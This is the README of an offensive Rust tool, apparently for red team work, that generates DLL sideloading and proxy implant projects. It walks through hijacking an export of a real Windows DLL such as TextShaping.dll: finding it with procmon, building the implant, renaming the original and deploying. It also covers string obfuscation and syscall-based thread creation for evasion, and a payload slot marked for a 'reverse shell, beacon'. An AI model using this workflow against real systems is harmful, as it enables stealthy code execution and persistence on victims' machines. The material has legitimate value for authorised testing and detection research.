A Rust-based tool for generating DLL proxy/sideload projects for red team engagements. Automatically parses PE export tables and generates ready-to-compile Rust projects with your payload embedded.
LazyDLLSideload automates the process of creating DLL proxying and sideloading implants.
- Uses windows_sys Ecosystem.
- Parses any Windows DLL to extract exported functions
- Generates complete Rust projects
- Strings obfuscation. Decrypts at Runtime.
- Supports two operation modes: Sideload and Proxy
- Uses dyncvoke for dynamic invocation and syscall execution for proxy loads.
Sideload mode creates a DLL that replaces the original, executing your payload when a specific exported function is called. The original DLL is not used - this is a pure sideload attack.
- The tool parses the target DLL to get all exported functions
- Generates stub functions for all exports (except the hijacked one)
- Creates a
lib.rswith a hijacked function that executes your payload - On build, you get a DLL with all the required exports
# Generate sideload project for libvlc.dll
./LazyDLLSideload.exe -m sideload -p ./libvlc.dll -e libvlc_newThis generates a project where:
libvlc_newis the hijacked export (triggers payload)- All other exports are empty stubs
- The target app loads your DLL directly
POC:
Proxy mode creates a sophisticated DLL that:
- Forwards all function calls to the original (renamed) DLL
- Intercepts (hijacks) one specific function to execute your payload
- Maintains full functionality of the original DLL
This is the classic proxying technique - the original DLL is renamed and your proxy DLL sits in its place, forwarding calls while intercepting specific functions.
The dispatch function is the heart of the proxy. It:
- Uses
dyncvoketo dynamically load the original DLL - Resolves function addresses at runtime using
GetFunctionAddress - Caches resolved addresses in a callback table to avoid repeated lookups
- Uses a sync lock to ensure payload only executes once
fn dispatch_call(
a1-u64, a2-u64, ..., a20-u64,
export_id: u32 // Which function was called (0 = hijacked)
) -> u64Non-hijacked exports are forwarded to the original DLL via the .def file:
LIBRARY TextShaping
EXPORTS
BuildOtlCache=Shaping.BuildOtlCache @1
FreeOtlResources=Shaping.FreeOtlResources @2
GetOtlFeatureDefs=Shaping.GetOtlFeatureDefs @3
...
ShapingCreateFontCacheData @12 ; Hijacked - handled by dispatch_call
This tells the Windows loader to automatically forward calls to Shaping.dll (the renamed original).
The tool uses dyncvoke:
- Better OPSEC: No import table entries for the original DLL
- Syscalls: Can use
NtCreateThreadExfor thread creation (setNATIVE = true) - No suspicious imports: The proxy DLL has no explicit dependency on the target DLL
// Dynamically load the original DLL at runtime
let module_handle = load_library_a(DLL_NAME);
// Resolve the function dynamically
let proc_addr = get_function_address(module_handle, &proc_name);Note: For Relative path mode. you have to place the original dll where LazyDLLSideload.exe exists...
When you use a relative path like -p ./TextShaping.dll:
./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dllPOC:
Generated .def forwarding:
BuildOtlCache=Shaping.BuildOtlCache @1
When you use an absolute path like -p C:\Windows\System32\TextShaping.dll:
1. No renaming needed
2. Deploy the YourProxy.dll in the target directory.
3. DLL_NAME in project will be "C:\\Windows\\System32\\TextShaping.dll"
4. The proxy dll will load Original DLL directly from system32 and forwards to it.
./LazyDLLSideload.exe -m proxy -p C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheDataGenerated .def forwarding:
BuildOtlCache=C:\Windows\System32\TextShaping.BuildOtlCache @1
POC:
cargo build --release
cp target/release/LazyDLLSideload.exe ../LazyDLLSideload.exe -m sideload -p <path_to_dll> -e <export_to_hijack># Relative path mode
./LazyDLLSideload.exe -m proxy -p <path_to_dll> -e <export_to_hijack> -n <renamed_dll>
# Absolute path mode
./LazyDLLSideload.exe -m proxy -p <absolute_path_to_dll> -e <export_to_hijack>| Option | Description |
|---|---|
-m, --mode |
Mode: sideload or proxy |
-p, --path |
Path to target DLL |
-e, --export |
Export function name to hijack |
-n, --name |
Original DLL name after renaming (Relative proxy path mode only) |
project_name/
├── Cargo.toml # Minimal dependencies (windows-sys only)
└── src/
├── lib.rs # DllMain + hijacked function + payload
└── forward.rs # Stub functions for all other exports
project_name/
├── Cargo.toml # Includes dyncvoke dependency
├── build.rs # Links proxy.def
├── proxy.def # Export table with forwarding
├── dyncvoke/ # Dynamic invocation library
└── src/
├── lib.rs # Gateway + hijacked function
└── forward.rs # Stub functions (satisfies linker)
The default payload displays a MessageBox. To customize, edit the generated lib.rs:
fn initialize_component() {
// Your custom payload here
// Example: reverse shell, beacon, etc.
}In proxy mode, The syscalls more are enabled by default. you can change it using:
const NATIVE: bool = true; // Use NtCreateThreadEx via syscall
// vs
const NATIVE: false; // Use std::thread::spawn# Find a DLL the application loads
procmon.exe -> Filter: "Path ends with TextShaping.dll"
./LazyDLLSideload.exe -m proxy -p ./TextShaping.dll -e ShapingCreateFontCacheData -n Shaping.dllcd TextShaping
cargo build --release# Copy and Rename original dll
rename TextShaping.dll Shaping.dll
# Deploy
copy target\release\TextShaping.dll .
copy Shaping.dll .
# Now the target app loading TextShaping.dll will:
# - Get full functionality via forwarding
# - Execute payload when ShapingCreateFontCacheData is called
# - Forwards to the original renamed dll Shaping.dll
- Rust (1.70+)
- Visual Studio Build Tools (MSVC)
- Windows target:
rustup target add x86_64-pc-windows-msvc
The project is under MIT LICENSE


